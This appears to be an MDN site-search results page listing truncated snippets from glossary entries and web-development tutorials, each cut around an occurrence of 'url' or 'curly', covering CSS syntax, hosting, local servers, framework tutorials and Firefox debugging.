spider), by defining "robot exclusion" information in a file named robots.txt. indexing: associating keywords and other information with specific web pages that have been crawled. this enables users to find relevant pages as quickly as possible. searching: looking for relevant web pages based on queries consisting of key words and other commands to the search engine. the search engine finds the
urls of pages that match the query, and ranks them based on their relevance. it then presents results to the user in order of the ranking. the most popular search engine is google. other top search engines include yahoo!, bing, baidu, and aol. learn more web search engine on wikipedia search engine on webopedia how internet search engines work on how stuff works ...
Site - MDN Web Docs Glossary: Definitions of Web-related terms
per.mozilla.org/docs/ https://support.mozilla.org/ same site because the registrable domain of mozilla.org is the same http://example.com:8080 https://example.com same site because scheme and port are not relevant examples of different site https://developer.mozilla.org/docs/ https://example.com not same site because the registrable domain of the two
urls differs specifications specification status comment
url living standard initial definition ...
Slug - MDN Web Docs Glossary: Definitions of Web-related terms
a slug is the unique identifying part of a web address, typically at the end of the
url. in the context of mdn, it is the portion of the
url following "<locale>/docs/". it may also just be the final component when a new document is created under a parent document; for example, this page's slug is glossary/slug . ...
TLD - MDN Web Docs Glossary: Definitions of Web-related terms
dministrating organization might be, tld often serves as a clue to the purpose, ownership, or nationality of a website. consider an example internet address: https://developer.mozilla.org here org is the tld; mozilla.org is the second-level domain name; and developer is a subdomain name. all together, these constitute a fully-qualified domain name; the addition of https:// makes this a complete
url. iana today distinguishes the following groups of top-level domains: country-code top-level domains (cctld) two-character domains established for countries or territories. example: .us for united states. internationalized country code top-level domains (idn cctld) cctlds in non-latin character sets (e.g., arabic or chinese). generic top-level domains (gtld) top-level domains with three o...
URI - MDN Web Docs Glossary: Definitions of Web-related terms
a uri (uniform resource identifier) is a string that refers to a resource. the most common are
urls, which identify the resource by giving its location on the web. urns, by contrast, refer to a resource by a name, in a given namespace, such as the isbn of a book. learn more general knowledge uri on wikipedia rfc 3986 on uri ...
Unicode - MDN Web Docs Glossary: Definitions of Web-related terms
as difficult and error-prone to mix languages in the same data. for example, one character set would store japanese characters, and another would store the arabic alphabet. if it was not clearly marked which parts of the data were in which character set, other programs and computers would display the text incorrectly, or damage it during processing. if you've ever seen text where characters like c
urly quotes (“”) were replaced with gibberish like £, then you've seen this problem, known as mojibake. the most common unicode character encoding on the web is utf-8. other encodings exist, like utf-16 or the obsolete ucs-2, but utf-8 is recommended. learn more unicode on wikipedia the unicode standard: a technical introduction ...
World Wide Web - MDN Web Docs Glossary: Definitions of Web-related terms
computer at the cern physics research lab in 1990. in 1991, he announced his creation on the alt.hypertext newsgroup, marking the moment the web was first made public. the system we know today as "the web" consists of several components: the http protocol governs data transfer between a server and a client. to access a web component, a client supplies a unique universal identifier, called a
url (uniform resource location) or uri (uniform resource identifier) (formally called universal document identifier (udi)). html (hypertext markup language) is the most common format for publishing web documents. linking, or connecting resources through hyperlinks, is a defining concept of the web, aiding its identity as a collection of connected documents. soon after inventing the web, tim berne...
Application Context - MDN Web Docs Glossary: Definitions of Web-related terms
an application context is a top-level browsing context that has a manifest applied to it. if an application context is created as a result of the user agent being asked to navigate to a deep link, the user agent must immediately navigate to the deep link with replacement enabled. otherwise, when the application context is created, the user agent must immediately navigate to the start
url with replacement enabled. please note that the start
url is not necessarily the value of the start_
url member: the user or user agent could have changed it when the application was added to home-screen or otherwise bookmarked. ...
caret - MDN Web Docs Glossary: Definitions of Web-related terms
elements that may present a caret these elements provide text entry fields or boxes and therefore make use of the caret. <input type="text"> <input type="password"> <input type="search"> <input type="date">, <input type="time">, <input type="datetime">, and <input type="datetime-local"> <input type="number">, <input type="range"> <input type="email">, <input type="tel">, and <input type="
url"> <textarea> any element with its contenteditable attribute set ...
Routers - MDN Web Docs Glossary: Definitions of Web-related terms
there are two definitions for routers on the web: for the network layer, the router is a networking device that decides data packets directions. they are distributed by retailers allowing user interaction to the internet. for spa in application layer, router is a library that decides what web page is presented by a given
url. this middleware module is used for all
url functions, as these are given a path to a file that is rendered to open the next page. learn more general knowledge for network layer context: router (computing) on wikipedia for spa in application layer context, most of the popular spa frameworks has its routing library: angular router react router vue router ...
MDN Web Docs Glossary: Definitions of Web-related terms
me to interactive tld tofu transmission control protocol (tcp) transport layer security (tls) tree shaking trident truthy ttl turn type type coercion type conversion u udp (user datagram protocol) ui undefined unicode uri
url urn usenet user agent utf-8 ux v validator value variable vendor prefix viewport visual viewport voip w w3c wai wcag web performance web server web standards webassembly webdav w...
WAI-ARIA basics - Learn web development
assertive: updates should be announced to the user as soon as possible. we'd like you to take a copy of aria-no-live.html and quotes.json, and update your <section> tag as follows: <section aria-live="assertive"> this will cause a screenreader to read out the content as it is updated. note: most browsers will throw a security exception if you try to do an xmlhttprequest call from a file://
url, e.g. if you just load the file by loading it directly into the browser (via double clicking, etc.). to get it to run, you will need to upload it to a web server, for example using github, or a local web server like python's simplehttpserver. there is an additional consideration here — only the bit of text that updates is read out. it might be nice if we always read out the heading too, so th...
Debugging CSS - Learn web development
n real time on the page. in a similar fashion, you could change the width or style of the border. adding a new property you can add properties using the devtools. perhaps you have realised that you don't want your box to inherit the <body> element's font size, and want to set its own specific size? you can try this out in devtools before adding it to your css file. you can click the closing c
urly brace in the rule to start entering a new declaration into it, at which point you can start typing the new property and devtools will show you an autocomplete list of matching properties. after selecting font-size, enter the value you want to try. you can also click the + button to add an additional rule with the same selector, and add your new rules there. note: there are other useful featu...
Fundamental CSS comprehension - Learn web development
e in, you are welcome to — just make sure the image is square. grab the css resources text file — this contains a set of raw selectors and rulesets that you'll need to study and combine to answer part of this assessment. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html and fill in the css into one of these online editors, and use this
url to point the <img> element to the image file. if the online editor you are using doesn't have a separate css panel, feel free to put it in a <style> element in the head of the document. note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. project brief you have been provided with some raw html and an image, and need to write ...
Organizing your CSS - Learn web development
you may have used a css property in a specific way to get around older browser incompatibilities, for example: .box { background-color: red; /* fallback for older browsers that don't support gradients */ background-image: linear-gradient(to right, #ff0000, #aa0000); } perhaps you followed a tutorial to achieve something, and the css is a little non-obvious. in that case you could add the
url of the tutorial to the comments. you will thank yourself when you come back to this project in a year or so, and can vaguely remember there was a great tutorial about that thing, but where is it? create logical sections in your stylesheet it is a good idea to have all of the common styling first in the stylesheet. this means all of the styles which will generally apply unless you do something s...
Pseudo-classes and pseudo-elements - Learn web development
d matches form elements that are required. :right in paged media, matches right-hand pages. :root matches an element that is the root of the document. :scope matches any element that is a scope element. :valid matches an element such as an <input> element, in a valid state. :target matches an element if it is the target of the current
url (i.e. if it has an id matching the current
url fragment). :visited matches visited links. pseudo-elements selector description ::after matches a stylable element appearing after the originating element's actual content. ::before matches a stylable element appearing before the originating element's actual content. ::first-letter ...
Test your skills: backgrounds and borders - Learn web development
s codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. backgrounds and borders 1 in this task we want you to add a background, border, and some simple styling to a page header: give the box a 5px black solid border, with rounded corners of 10px. add a background image (use the
url balloons.jpg) and size it so that it covers the box. give the <h2> a semi-transparent black background color, and make the text white. the finished example should look like the image below. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. backgrounds and borders 2 in this ta...
Responsive design - Learn web development
fixed-width layout: example, source code. again, observe the result as you change the browser window size. note: the screenshots above are taken using the responsive design mode in firefox devtools. as the mobile web started to become a reality with the first feature phones, companies who wished to embrace mobile would generally create a special mobile version of their site, with a different
url (often something like m.example.com, or example.mobi). this meant that two separate versions of the site had to be developed and kept up-to-date. in addition, these mobile sites often offered a very cut down experience. as mobile devices became more powerful and able to display full websites, this was frustrating to mobile users who found themselves trapped in the site's mobile version and unabl...
How CSS is structured - Learn web development
applied in the order top, right, bottom, left (clockwise from the top). there are also other shorthand types, for example 2-value shorthands, which set padding/margin for top/bottom, then left/right */ padding: 10px 15px 15px 5px; is equivalent to these four lines of code: padding-top: 10px; padding-right: 15px; padding-bottom: 15px; padding-left: 5px; this one line: background: red
url(bg-graphic.png) 10px 10px repeat-x fixed; is equivalent to these five lines: background-color: red; background-image:
url(bg-graphic.png); background-position: 10px 10px; background-repeat: repeat-x; background-attachment: fixed; later in the course, you will encounter many other examples of shorthand properties. mdn's css reference is a good resource for more information about any shorthand p...
What is CSS? - Learn web development
b page. for example "i want the main heading on my page to be shown as large red text." the following code shows a very simple css rule that would achieve the styling described above: h1 { color: red; font-size: 5em; } the rule opens with a selector . this selects the html element that we are going to style. in this case we are styling level one headings (<h1>). we then have a set of c
urly braces { }. inside those will be one or more declarations, which take the form of property and value pairs. each pair specifies a property of the element(s) we are selecting, then a value that we'd like to give the property. before the colon, we have the property, and after the colon, the value. css properties have different allowable values, depending on which property is being specified. in o...
Typesetting a community school homepage - Learn web development
styling techniques. starting point to get this assessment started, you should: go and grab the html and css files for the exercise, and the provided external link icon. make a copy of them on your local computer. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html and fill in the css into one of these online editors, and use this
url to point the background image. if the online editor you are using doesn't have a separate css panel, feel free to put it in a <style> element in the head of the document. note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. project brief you have been provided with some raw html for the homepage of an imaginary community coll...
How can we design for all types of users? - Learn web development
m, you must provide a relevant alt attribute. if the image can be described succinctly, you can provide an alt attribute and nothing more. if the image cannot be described succinctly, you will have to either provide the same content in another form in the same page (e.g., complement a pie chart with a table providing the same data), or resort to a longdesc attribute. this attribute's value is a
url pointing towards a resource explicitly describing in detail the image's content. note: the use and even the existence of longdesc has been debated for quite some time. please refer to the w3c's image description extension (longdesc) for the full explanation and thorough examples. audio/video you must also provide alternatives to multimedia content. subtitling/close-captioning you should ...
How do you host your website on Google App Engine? - Learn web development
have a look at the sample application's structure — the website folder contains your website content and app.yaml is your application configuration file. your website content must go inside the website folder, and its landing page must be called index.html, but apart from that it can take whatever form you like. the app.yaml file is a configuration file that tells app engine how to map
urls to your static files. you don't need to edit it. publishing your application now that we've got our project made and sample app files collected together, let's publish our app. open google cloud shell. drag and drop the sample-app folder into the left pane of the code editor. run the following in the command line to select your project: gcloud config set project gaesamplesite t...
What is the difference between webpage, website, web server, and search engine? - Learn web development
ns (science, math, history, etc.) in the library are like websites. each section is like a unique website (two sections do not contain same books). the books in each section are like webpages. one website may have several webpages, e.g., the science section (the website) will have books on heat, sound, thermodynamics, statics, etc. (the webpages). webpages can each be found at a unique location (
url). the search index is like the search engine. each book has its own unique location in the library (two books cannot be kept at the same place) which is specified by the catalog number. active learning there is no active learning available yet. deeper dive so, let's dig deeper into how those four terms are related and why they are sometimes confused with each other. web page a web page is...
How do you upload your files to a web server? - Learn web development
, then install from the installer file in the usual way. note: of course there are lots of other options. see publishing tools for more information. open the filezilla application; you should see something like this: logging in for this example, we'll suppose that our hosting provider (the service that will host our http web server) is a fictitious company "example hosting provider" whose
urls look like this: mypersonalwebsite.examplehostingprovider.net. we have just opened an account and received this info from them: congratulations for opening an account at example hosting provider. your account is: demozilla your website will be visible at demozilla.examplehostingprovider.net to publish to this account, please connect through sftp with the following credentials: sftp serve...
How do I use GitHub Pages? - Learn web development
u need to turn github pages on for your repository. to do this, from the homepage of your repository choose settings, then scroll down until you get to the github pages section. underneath source, choose master branch. the page should refresh. go to the github pages section again, and you should see a line of the form "your site is ready to be published at https://xxxxxx." if you click on this
url, you should go to a live version of your example, provided the home page is called index.html — it goes to this entry point by default. if your site's entry point is called something else, for example mypage.html, you'll need to go to https://xxxxxx/mypage.html. further github knowledge if you want to make more changes to your test site and upload those to github, you simply need to make the...
What are browser developer tools? - Learn web development
how the property's longhand equivalents. click a property name or value to bring up a text box, where you can key in a new value to get a live preview of a style change. next to each rule is the file name and line number the rule is defined in. clicking that rule causes the dev tools to jump to show it in its own view, where it can generally be edited and saved. you can also click the closing c
urly brace of any rule to bring up a text box on a new line, where you can write a completely new declaration for your page. you'll notice a number of clickable tabs at the top of the css viewer: computed: this shows the computed styles for the currently selected element (the final, normalized values that the browser applies). layout: in firefox, this area includes two sections: box model...
What software do I need to build a website? - Learn web development
shot of an online text editor: uploading files on the web when your website is ready for public viewing, you'll have to upload your webpages to your web server. you can buy space on a server from various providers (see how much does it cost to do something on the web?). once you settle on which provider to use, the provider will email you the access information, usually in the form of an sftp
url, username, password, and other information needed to connect to their server. bear in mind that (s)ftp is now somewhat old-fashioned, and other uploading systems are starting to become popular, such as rsync and git/github. note: ftp is inherently insecure. you should make sure your hosting provider allows use of a secure connection, e.g. sftp or rsync over ssh. uploading files to a web serve...
How do you set up a local testing server? - Learn web development
enter the command to start up the server in that directory: # if python version returned above is 3.x python3 -m http.server # on windows try "python" instead of "python3", or "py -3" # if python version returned above is 2.x python -m simplehttpserver by default, this will run the contents of the directory on a local web server, on port 8000. you can go to this server by going to the
url localhost:8000 in your web browser. here you'll see the contents of the directory listed — click the html file you want to run. note: if you already have something running on port 8000, you can choose another port by running the server command followed by an alternative port number, e.g. python3 -m http.server 7800 (python 3.x) or python -m simplehttpserver 7800 (python 2.x). you can then ...
Common questions - Learn web development
ebsite, web server, and search engine? in this article we describe various web-related concepts: webpages, websites, web servers, and search engines. these terms are often a source of confusion for newcomers to the web, or are used incorrectly. let's discover what they actually mean! what are hyperlinks? in this article, we'll go over what hyperlinks are and why they matter. what is a
url? with hypertext and http,
url is a key concept when it comes to the internet. it is the mechanism used by browsers to retrieve any published resource on the web. what is a domain name? domain names are a key component of the internet infrastructure. they provide a human-readable address for any web server available on the internet. what is a web server? the term "web server" can re...
Client-side form validation - Learn web development
lement matches the :invalid and :out-of-range css pseudo-classes. rangeunderflow: returns true if the value is less than the minimum specified by the min attribute, or false if it is greater than or equal to the minimum. if true, the element matches the :invalid and :out-of-range css pseudo-classes. typemismatch: returns true if the value is not in the required syntax (when type is email or
url), or false if the syntax is correct. if true, the element matches the :invalid css pseudo-class. valid: returns true if the element meets all its validation constraints, and is therefore considered to be valid, or false if it fails any constraint. if true, the element matches the :valid css pseudo-class; the :invalid css pseudo-class otherwise. valuemissing: returns true if the element has ...
UI pseudo-classes - Learn web development
ontrol using the :valid and :invalid pseudo-classes. some points worth bearing in mind: controls with no constraint validation will always be valid, and therefore matched with :valid. controls with required set on them that have no value are counted as invalid — they will be matched with :invalid and :required. controls with built-in validation, such as <input type="email"> or <input type="
url"> are (matched with) :invalid when the data entered into them does not match the pattern they are looking for (but they are valid when empty). controls whose current value is outside the range limits specified by the min and max attributes are (matched with) :invalid, but also matched by :out-of-range, as you'll see later on. there are some other ways to make an element matched by :valid/:inval...
CSS basics - Learn web development
you choose which properties you want to affect in the rule. property value to the right of the property—after the colon—there is the property value. this chooses one out of many possible appearances for a given property. (for example, there are many color values in addition to red.) note the other important parts of the syntax: apart from the selector, each ruleset must be wrapped in c
urly braces. ({}) within each declaration, you must use a colon (:) to separate the property from its value or values. within each ruleset, you must use a semicolon (;) to separate each declaration from the next one. to modify multiple property values in one ruleset, write them separated by semicolons, like this: p { color: red; width: 500px; border: 1px solid black; } selecting multiple ...
Add a hitmap on top of an image - Learn web development
de in coords. for a circle, provide the center's x and y coordinates, followed by the length of the radius. for a rectangle, provide the x/y coordinates of the upper-left and bottom-right corners. for a polygon, to provide the x/y coordinates of each corner (so, at least six values). coordinates are given in css pixels. in case of overlap, source order carries the day. href the
url of the resource you’re linking to. you may leave this attribute blank if you don’t want the current area to link anywhere (say, if you’re making a hollow circle.) alt a mandatory attribute, telling people where the link goes or what it does. alt text only displays when the image is unavailable. please refer to our guidelines for writing accessible link text. you may write alt="" if th...
Use JavaScript within a webpage - Learn web development
hin html, you need the <script> element. there are two ways to use script, depending on whether you're linking to an external script or embedding a script right in your webpage. linking an external script usually, you'll be writing scripts in their own .js files. if you want to execute a .js script from your webpage, just use <script> with an src attribute pointing to the script file, using its
url: <script src="path/to/my/script.js"></script> writing javascript within html you may also add javascript code between <script> tags rather than providing an src attribute. <script> window.addeventlistener('load', function () { console.log('this function is executed once the page is fully loaded'); }); </script> that's convenient when you just need a small bit of javascript, but if you keep...
Advanced text formatting - Learn web development
updatecode(); }; quotations html also has features available for marking up quotations; which element you use depends on whether you are marking up a block or inline quotation. blockquotes if a section of block level content (be it a paragraph, multiple paragraphs, a list, etc.) is quoted from somewhere else, you should wrap it inside a <blockquote> element to signify this, and include a
url pointing to the source of the quote inside a cite attribute. for example, the following markup is taken from the mdn <blockquote> element page: <p>the <strong>html <code><blockquote></code> element</strong> (or <em>html block quotation element</em>) indicates that the enclosed text is an extended quotation.</p> to turn this into a block quote, we would just do this: <p>here below is a b...
Marking up a letter - Learn web development
ropriately — in the chemical formulae, and the numbers 103 and 104 (they should be 10 to the power of 3 and 4, respectively). try to mark up at least two appropriate words in the text with strong importance/emphasis. there are two places where the letter should have a hyperlink. add appropriate links with titles. for the location that the links point to, you may use http://example.com as the
url. mark up the university motto quote and citation with appropriate elements. the head of the document the character set of the document should be set as utf-8 using the appropriate meta tag. the author of the letter should be specified in an appropriate meta tag. the provided css should be included inside an appropriate tag. hints and tips use the w3c html validator to validate your h...
Test your skills: Links - Learn web development
propriate places: the first link should link to an image called blue-whale.jpg, which is located in a directory called blue inside the current directory. the second link should link to an image called narwhal.jpg, which is located in a directory called narwhal, which is located one directory level above the current directory. the third link should link to the uk google image search. the base
url is https://www.google.co.uk, and the image search is located in a subdirectory called imghp. the fourth link should link to the paragraph at the very bottom of the current page. it has an id of bottom. note: the first three links in the example have the target="_blank" attribute set on them, so that when you click on them, they open the linked page in a new tab. this is not strictly best prac...
Adding vector graphics to the Web - Learn web development
svg. this being the case, only supporting browsers will load the svg — older browsers will load the png instead: <img src="equilateral.png" alt="triangle with equal sides" srcset="equilateral.svg"> you can also use svgs as css background images, as shown below. in the below code, older browsers will stick with the png that they understand, while newer browsers will load the svg: background:
url("fallback.png") no-repeat center; background-image:
url("image.svg"); background-size: contain; like the <img> method described above, inserting svgs using css background images means that the svg can't be manipulated with javascript, and is also subject to the same css limitations. if your svgs aren't showing up at all, it might be because your server isn't set up properly. if that's the probl...
Video and audio content - Learn web development
start playing right away, while the rest of the page is loading. you are advised not to use autoplaying video (or audio) on your sites, because users can find it really annoying. loop makes the video (or audio) start playing again whenever it finishes. this can also be annoying, so only use if really necessary. muted causes the media to play with the sound turned off by default. poster the
url of an image which will be displayed before the video is played. it is intended to be used for a splash screen or advertising screen. preload used for buffering large files; it can take one of three values: "none" does not buffer the file "auto" buffers the media file "metadata" buffers only the metadata for the file you can find the above example available to play live on githu...
Manipulating documents - Learn web development
ed on interfaces like htmlanchorelement in the case of <a> element, its more general parent interface htmlelement, and node — which represents all nodes in a dom). first of all, let's change the text inside the link by updating the value of the node.textcontent property. add the following line below the previous one: link.textcontent = 'mozilla developer network'; we should also change the
url the link is pointing to, so that it doesn't go to the wrong place when it is clicked on. add the following line, again at the bottom: link.href = 'https://developer.mozilla.org'; note that, as with many things in javascript, there are many ways to select an element and store a reference to it in a variable. document.queryselector() is the recommended modern approach, which is convenient be...
What went wrong? Troubleshooting JavaScript - Learn web development
d javascript object, but in this case we managed to get it by changing function checkguess() { to function checkguess( { this has caused the browser to think that we are trying to pass the contents of the function into the function as an argument. be careful with those parentheses! syntaxerror: missing } after function body this is easy — it generally means that you've missed one of your c
urly braces from a function or conditional structure. we got this error by deleting one of the closing c
urly braces near the bottom of the checkguess() function. syntaxerror: expected expression, got 'string' or syntaxerror: unterminated string literal these errors generally mean that you've left off a string value's opening or closing quote mark. in the first error above, string would be replaced ...
Solve common problems in your JavaScript code - Learn web development
error message in the developer console if you have code after a return statement. firefox gives you "unreachable code after return statement". object notation versus normal assignment when you assign something normally in javascript, you use a single equals sign, e.g.: const mynumber = 0; with objects, however, you need to take care to use the correct syntax. the object must be surrounded by c
urly braces, member names must be separated from their values using colons, and members must be separated by commas. for example: const myobject = { name: 'chris', age: 38 } basic definitions what is javascript? what is a variable? what are strings? what is an array? what is a loop? what is a function? what is an event? what is an object? what is json? what is a web api? wha...
CSS performance optimization - Learn web development
ay property applied to the @font-face rule, the font-display property defines how font files are loaded and displayed by the browser, allowing text to appear with a fallback font while a font loads, or fails to load. this improves performance by making the text visible instead of having a blank screen, with a trade-off being a flash of unstyled text. @font-face { font-family: somefont; src:
url(/path/to/fonts/somefont.woff) format('woff'); font-weight: 400; font-style: normal; font-display: fallback; } the contain property the contain css property allows an author to indicate that an element and its contents are, as much as possible, independent of the rest of the document tree. this allows the browser to recalculate layout, style, paint, size, or any combination of them for a l...
Measuring performance - Learn web development
emove all whitespace from your code to make the files smaller. we'll talk about both categories in this course. and as well as talking about performance metrics we will of course talk about the metrics that you'll use to measure whether your site's performance is improving. general performance reporting tools tools like pagespeed insights can measure a website’s performance. you can enter a
url and get a performance report in seconds. the report contains scores about how your website is performing, both for mobile and desktop. this is a good start for getting an idea about what you are already doing well and what could be improved. at the time of writing, mdn's performance report summary looks similar to the following: a performance report contains information about things like how ...
What is web performance? - Learn web development
o load, frames per second, and time to interactive, and subjective experiences of how long it felt like it took the content to load. how content is rendered to effectively understand web performance, the issues behind it, and the major topic areas we mentioned above, you really should understand some specifics about how browsers work. this includes: how the browser works. when you request a
url and hit enter / return, the browser finds out where the server is that holds that website's files, establishes a connection to it, and requests the files. see populating the page: how the browser works for a detailed overview. source order. your html index file's source order can significantly affect performance. the download of additional assets linked to from the index file is generally sequen...
Getting started with Ember - Learn web development
is built — including bundling all your files together, asset minification, and creating sourcemaps — with reasonable defaults, so you don't typically need to worry about this file. we will however add lines to the ember-cli-build.js file to import our shared css files, so that they become part of our build without having to explicitly @import them into the app.css file (this would require
url rewrites at build time and therefore be less efficient and more complicated to set up). in ember-cli-build.js, find the following code: let app = new emberapp(defaults, { // add options here }); add the following lines underneath it before saving the file: app.import('node_modules/todomvc-common/base.css'); app.import('node_modules/todomvc-app-css/index.css'); for m...
Ember interactivity: Events, classes and state - Learn web development
e keydown event via the on modifier, which is just ember syntactic sugar around addeventlistener and removeeventlistener (see this explanation if needed). add the new line shown below to your header.hbs file: <input class='new-todo' aria-label='what needs to be done?' placeholder='what needs to be done?' autofocus {{on 'keydown' this.onkeydown}} > this new attribute is inside double c
urly braces, which tells you it is part of ember's dynamic templating syntax. the first argument passed to on is the type of event to respond to (keydown), and the last argument is the event handler — the code that will run in response to the keydown event firing. as you may expect from dealing with vanilla javascript objects, the this keyword refers to the "context" or "scope" of the component. on...
Componentizing our React app - Learn web development
odify your todo() function definition so that it takes props as a parameter. you can console.log() your props as we did before, if you'd like to check that they are being received by the component correctly. once you're confident that your component is getting its props, you can replace every occurrence of eat with your name prop. remember: when you're in the middle of a jsx expression, you use c
urly braces to inject the value of a variable. putting all that together, your todo() function should read like this: export default function todo(props) { return ( <li classname="todo stack-small"> <div classname="c-cb"> <input id="todo-0" type="checkbox" defaultchecked={true} /> <label classname="todo-label" htmlfor="todo-0"> {props.name} </label> ...
React interactivity: Editing, filtering, conditional rendering - Learn web development
ook. update your filterlist constant as follows: const filterlist = filter_names.map(name => ( <filterbutton key={name} name={name} ispressed={name === filter} setfilter={setfilter} /> )); in the same way as we did earlier with our <todo /> component, we now have to update filterbutton.js to utilize the props we have given it. do each of the following, and remember to use c
urly braces to read these variables! replace all with {props.name}. set the value of aria-pressed to {props.ispressed}. add an onclick handler that calls props.setfilter() with the filter’s name. with all of that done, your filter() function should read like this: function filterbutton(props) { return ( <button type="button" classname="btn toggle-btn" aria-pressed={p...
Beginning our React todo list - Learn web development
box, which we want to avoid. don't worry too much about this for now — we will cover this later on when we get to using events. the htmlfor attribute corresponds to the for attribute used in html. we cannot use for as an attribute in jsx because for is a reserved word, so react uses htmlfor instead. notes: to use boolean values (true and false) in jsx attributes, you must enclose them in c
urly braces. if you write defaultchecked="true", the value of defaultchecked will be "true" — a string literal. remember — this is actually javascript, not html! the aria-pressed attribute used in our earlier code snippet has a value of true because aria-pressed is not a true boolean attribute in the way checked is. implementing our styles paste the following css code into src/index.css so th...
Starting our Svelte Todo list app - Learn web development
onent inside src/main.js, which isn't used inside app. the console should currently give you a message along the lines of "<app> was created with unknown prop 'name'". to get rid of this, remove the name prop from src/main.js; it should now look like so: import app from './app.svelte' const app = new app({ target: document.body }) export default app now if you check your testing server
url you'll see our todos.svelte component being rendered: adding static markup for the moment we will start with a static markup representation of our app, so you can see what it will look like. copy and paste the following into our todos.svelte component file, replacing the existing content: <!-- todos.svelte --> <div class="todoapp stack-large"> <!-- newtodo --> <form> <h2 class="labe...
Understanding client-side JavaScript frameworks - Learn web development
onality in our app. here we'll get the todo counter to update to show the correct number of todos still to complete, and correctly apply styling to completed todos (i.e. where the checkbox has been checked). we'll also wire up our "clear completed" button. along the way, we'll learn about using conditional rendering in our templates. 5. routing in ember in this article we learn about routing or
url-based filtering as it is sometimes referred to. we'll use it to provide a unique
url for each of the three todo views — "all", "active", and "completed". 6. ember resources and troubleshooting our final ember article provides you with a list of resources that you can use to go further in your learning, plus some useful troubleshooting and other information. vue tutorials note: vue tutoria...
Handling common HTML and CSS problems - Learn web development
a good strategy is to validate your code regularly. one service that can do this is the w3c markup validation service, which allows you to point to your code, and returns a list of errors: css has a similar story — you need to check that your property names are spelled correctly, property values are spelled correctly and are valid for the properties they are used on, you are not missing any c
urly braces, and so on. the w3c has a css validator available too, for this purpose. linters another good option to choose is a so-called linter application, which not only points out errors, but can also flag up warnings about bad practices in your css, and other points besides. linters can generally be customized to be stricter or more relaxed in their error/warning reporting. there are many onl...
Strategies for carrying out testing - Learn web development
omo. they expect you to self-host the analytics platform. setting up google analytics first of all, you'll need a google account. use this account to sign into google analytics. choose the google analytics (web) option, and click the sign up button. enter your web site/app details into the signup page. this is fairly intuitive to set up; the most important field to get right is the website
url. this needs to be your site/app's root
url. once you've finished filling in everything, press the get tracking id button, then accept the terms of service that appear. the next page provides you with some code snippets and other instructions. for a basic website, what you need to do is copy the website tracking code block and paste it into all the different pages you want to track using google ...
Introducing a complete toolchain - Learn web development
hat we will use in our code, including react, react-dom, react-async-hook, date-fns, and format-number. this first run will therefore be longer than a typical run of parcel. note: if you run parcel on this project and are faced with an error that reads error: enoent: no such file or directory, stop the process using ctrl + c and then try re-running it. the server is now running on the
url that was printed (in this case localhost:1234). go to this
url in your browser and you will see the example app running! another clever trick parcel has up its sleeve is that any changes to your source code will now trigger an update in the browser. to try this out: load up the file src/components/app.js in your favorite text editor. search for the text "near misses", and re...
Mozilla’s UAAG evaluation report
he resource. note that the size might be discovered for certain resources using http head. however, any such use should be carefully considered, given the potential impact on network traffic of automatically making such requests for every link/object in the page. please see bug 103704 for more information. does not provide information about whether link is internal or external, except through
url itself. clearly identifying internal vs. external links is bug 127038. provides information about whether link will open in same window does not support fee links 10.7 highlight current viewport. (p1) vg uses title bar color and focus indicator to indicate with view port has focus the currently focused content frame has a dotted outline, until a key is pressed or sc...
Theme concepts
a new version will need to be signed through the developer hub. if you are uploading a packaged file, the version number must be higher than the current version number dynamic themes as an alternative to defining a static theme, you can use the theme api to control the theme used in firefox from within a browser extension. there are a couple of use cases for...
Chrome registration
ecursive (so overriding chrome://foo/content/bar/ with file:///home/john/blah/ will not usually do what you want or expect it to do). also, the path inside overridden files is relative to the overridden path, not the original one (this can be annoying and/or useful in css files, for example). note: there was a bug in gecko 1.8.1.5 (firefox 2.0.0.5) and earlier where you could not use a relative
url for the new-resolved-uri parameter. you needed to provide an absolute
url. see bug 323455. resource aliases can be created using the resource instruction: resource aliasname uri/to/files/ [flags] this will create a mapping for resource://<aliasname>/ uris to the path given. note: there are no security restrictions preventing web content from including content at resource: uris, so take ...
Creating a spell check dictionary add-on
tion about="urn:mozilla:install-manifest"> <em:id>locale-code@dictionaries.addons.mozilla.org</em:id> <em:version>version number</em:version> <em:type>64</em:type> <em:unpack>true</em:unpack> <em:name>name</em:name> <!-- other install.rdf metadata such as em:localized, em:description, em:creator, em:developer, em:translator, em:contributor or em:homepage
url --> <!-- firefox --> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>18.0a1</em:minversion> <em:maxversion>46.0</em:maxversion> </description> </em:targetapplication> <!-- thunderbird --> <em:targetapplication> <description> <em:id>{3550f703-e582-4d0...
Debugging JavaScript
the first place to go when you're debugging a web page; open the web console using the web console option in the web developer menu. this shows any javascript errors in your app, as well as any logging calls from the console api. browser console the browser console lets you see all javascript errors and logging in the browser, including from firefox code. to enable it, go to about:config in the
url bar and set devtools.chrome.enabled to true, or set the "enable chrome and add-on debugging" option in the developer tool settings. activate it through with the menu tools > web developer > browser console. you can also start the browser console when you launch firefox, by launching firefox from the command line and passing --jsconsole as a flag: /path/to/firefox --jsconsole log to the browser...
Debugging update problems
checking update requests if you're debugging the application update feature in firefox or other mozilla applications, you may need to see what requests are occurring. you can do this using the live http headers addon to determine the
url of the update request. that
url might look something like: https://aus3.mozilla.org/update/3/firefox/12.0a1/20120106040225/darwin_x86_64-gcc3-u-i386-x86_64-shark/nightly-profiling/darwin%2010.8.0/default/default/update.xml?force=1 you can then request this
url manually to see what's inside. useful preferences enabling the following preferences in about:config can help troubleshoot problems with updates: app.update.log - for application updates; extensions.logging.enabled - for add-on updates. related resources extension versioning, update and co...
Debugging on Windows
the executable you are debugging. if it is empty or incorrect, use the arrow button and select browse... to locate the executable. command line parameters and environment variables vc++ 6.0: to change or set the command line options, go to project > settings..., debug tab and select general from the drop down list. "program arguments:" should show the options. some common options would be the
url of the file you want the browser to open as soon as it starts, starting the profile manager, or selecting a profile. you can also redirect the console output to a file (by adding "> filename.txt" for example, without the quotes). in vc 7 and 8 this option is called project > properties > debugging > command arguments. vc 8 also allows you to set environment variables there. setting breakpoints ...
HTTP logging
